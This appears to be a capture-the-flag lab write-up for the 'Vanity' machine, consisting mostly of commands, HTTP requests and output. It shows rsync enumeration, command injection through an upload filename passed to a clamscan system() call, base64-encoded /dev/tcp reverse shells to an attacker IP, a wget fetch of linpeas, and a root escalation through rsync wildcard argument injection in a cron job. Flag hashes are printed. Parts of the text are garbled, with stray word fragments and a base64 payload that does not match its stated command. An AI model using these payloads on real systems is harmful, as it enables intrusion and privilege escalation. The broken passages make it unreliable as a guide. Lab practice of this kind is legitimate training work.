

tags: Offsec PG Practice Intermediate Linux # Vanity

```
(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.199.234 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.199.234:22
Open 192.168.199.234:80
Open 192.168.199.234:873

PORT      STATE SERVICE REASON  VERSION
22/tcp    open  ssh      syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_ http-title: Vanity Virus Scanner
|_ http-server-header: Apache/2.4.41 (Ubuntu)
|_ http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
873/tcp   open  rsync    syn-ack (protocol version 31)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
``` canvia[873 - Pentesting Rsync] (https://book.hacktricks.xyz/network-services-pentesting/873-pentesting-rsync) First `upload.php` download
```

```
(kali㉿kali)-[~/pgplay]
└─$ nmap -sV --script "rsync-list-modules" -p 873 192.168.199.234
Starting Nmap 7.94SVN (https://nmap.org) at 2024-04-22 22:14 EDT
Nmap scan report for 192.168.199.234
Host is up (0.064s latency).
```

```
PORT STATE SERVICE VERSION
873/tcp open rsync (protocol version 31)
|_ rsync-list-modules:
|_ source Web Source
|_ backup Virus Samples Backup
```

```
(kali㉿kali)-[~/pgplay]
└─$ rsync -av --list-only rsync://192.168.199.234/source
receiving incremental file list
drwxr-xr-x 4,096 2022/10/25 11:31:36 .
-rw-r--r-- 2,814 2022/10/25 11:31:36 index.html
-rw-r--r-- 155 2022/10/25 11:31:36 style.css
drwxr-xr-x 4,096 2022/10/25 11:31:36 uploads
-rw-r--r-- 738 2022/10/25 11:31:36 uploads/upload.php
```

```
(kali㉿kali)-[~/pgplay]
└─$ rsync -av rsync://192.168.199.234:873/source/uploads/upload.php ./upload.php
``` Checkupload.php,findcanfilename
```

```
##upload.php

<?php

//Check if the file is well uploaded
if($_FILES['file']['error'] > 0) { echo 'Error during uploading, try again'; }

//Set up valid extension
$extsNotAllowed = array(
'php','php7','php6','phar','phtml','phps','pht','phtm','pgif','shtml','htaccess','inc');

$extUpload = strtolower( substr( strrchr($_FILES['file']['name'], '.') ,1) );

//Check if the uploaded file extension is allowed

if (in_array($extUpload, $extsNotAllowed) ) {
    echo 'File not allowed';

}
else {
    $name = "{$_FILES['file']['name']}";
    $result = move_uploaded_file($_FILES['file']['tmp_name'], $name);
    if($result){
        system("/usr/bin/clamscan $name");
    }
}

?>
``` `burpsuite`,idcan
```

POST /uploads/upload.php HTTP/1.1

Host: 192.168.199.234

User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: multipart/form-data; boundary=-----343494055620974095043599612657

Content-Length: 5806

Origin: http://192.168.199.234

Connection: close

Referer: http://192.168.199.234/

Upgrade-Insecure-Requests: 1

-----343494055620974095043599612657

Content-Disposition: form-data; name="file"; filename="shell.php; id"

Content-Type: application/x-php

## response

----- SCAN SUMMARY -----

Known viruses: 8641122

Engine version: 0.103.6

Scanned directories: 0

Scanned files: 0

Infected files: 0

Data scanned: 0.00 MB

Data read: 0.00 MB (ratio 0.00:1)

Time: 13.230 sec (0 m 13 s)

Start Date: 2024:04:23 02:43:01

End Date: 2024:04:23 02:43:14

uid=33(www-data) gid=33(www-data) groups=33(www-data)

```
└─(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp80
```

**/bin/sh -i >& /dev/tcp/192.168.45.193/80 0>&1 --->> base64**

POST /uploads/upload.php HTTP/1.1

Host: 192.168.199.234  
User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:109.0) Gecko/20100101 Firefox/115.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
Content-Type: multipart/form-data; boundary=-----343494055620974095043599612657  
Content-Length: 5806  
Origin: http://192.168.199.234  
Connection: close  
Referer: http://192.168.199.234/  
Upgrade-Insecure-Requests: 1

-----343494055620974095043599612657

Content-Disposition: form-data; name="file"; filename="shell.php; echo  
L2Jpbj9zaCAtaSA+JiAvZGV2L3RjcC8xOTluMTY4LjQ1LjE5My84MCAwPiYx | base64 -d | bash"  
Content-Type: application/x-php  
"" /var/wwwget local.txt

```
www-data@vanity:/var/www$ cat local.txt
95cf633b01f17b2ee08bb5c042685fef
``` `linpeas.sh`
```

```
www-data@vanity:/tmp$ wget 192.168.45.193:22/linpeas.sh
www-data@vanity:/tmp$ chmod +x linpeas.sh
www-data@vanity:/tmp$ ./linpeas.sh
```

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

```
17 *** root cd / && run-parts --report /etc/cron.hourly
25 6 *** root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 ** 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 ** root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
```

```
• • * * * root bash /opt/backup.sh
```

"" Check/opt/backup.sh

```
www-data@vanity:/opt$ cat backup.sh
cat backup.sh
cd /var/www/html/uploads/
rsync --password-file=/root/passwd -a * rsync://vanity/backup/
``` viaCheck[GTFOBins] (https://gtfobins.github.io/gtfobins/rsync/#shell) canfind`-e`can"" ,
```

```
www-data@vanity:/var/www/html/uploads$ /usr/bin/rsync -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
```

```
(kali@kali)~$ pgplay
$ rlwrap -cAr nc -nlp873
```

```
www-data@vanity:/var/www/html/uploads$ echo "/bin/sh -i >& /dev/tcp/192.168.45.193/873 0>&1" > root.sh
www-data@vanity:/var/www/html/uploads$ touch "/var/www/html/uploads/-e bash root.sh"
www-data@vanity:/var/www/html/uploads$ ls
'-e bash root.sh'
```

**python3 -c 'import pty; pty.spawn("/bin/bash")'**

```
root@vanity:/var/www/html/uploads# cd /root
root@vanity:~# cat proof.txt
090866cfb8f074429c61b89ae2bf93dd
```